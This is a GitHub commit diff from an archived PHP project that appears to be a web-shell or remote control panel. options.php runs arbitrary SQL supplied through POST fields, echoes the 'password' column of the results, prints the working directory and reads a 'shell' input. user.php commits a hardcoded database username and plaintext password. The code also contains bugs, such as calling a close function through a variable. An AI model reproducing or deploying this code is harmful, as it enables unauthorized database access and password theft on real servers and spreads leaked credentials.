Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit b5af410

Browse files
author
nerdofcode
committed
MYSQL queries work now
1 parent e62be6a commit b5af410

2 files changed

Lines changed: 13 additions & 8 deletions

File tree

options.php

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -26,18 +26,23 @@
2626
</body>
2727

2828
<?php
29-
$db=$_POST['mysql_get'];//Database
29+
$udb=$_POST['mysql_get'];//Database
3030
$user=$_POST['user'];
3131
$pass=$_POST['pass'];
3232
$query=$_POST['myquery'];//Commands
3333
$host=$_POST['host'];
3434

35-
$mysqli = mysqli_connect($host,$user,$pass,$db) or die("Unable to connect to MYSQL");
36-
mysqli_query($mysqli,"SELECT * FROM users;");
37-
$mysqli_close($db);
3835

3936

4037

38+
$db = mysqli_connect($host,$user,$pass,$udb) or die("Error connection to MySQL failed");
39+
mysqli_query($db, $query) or die("Unable to access MYSQL");
40+
$result = mysqli_query($db, $query);
41+
$row = mysqli_fetch_array($result);
42+
$column=$row['password'];
43+
echo "<b>Query Result: $column</b><br>";
44+
$mysqli_close($db);
45+
4146
$cwd=getcwd();
4247
echo "<br>Current directory: $cwd<br>";
4348
$shell = $_POST['query_box'];

user.php

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
<?php
2-
$user="";
3-
$pass="";
4-
$database="";
5-
$table="";
2+
$user="wp_user";
3+
$pass="skstsnbd18";
4+
$database="custom";
5+
$table="users";
66
?>

0 commit comments

Comments
 (0)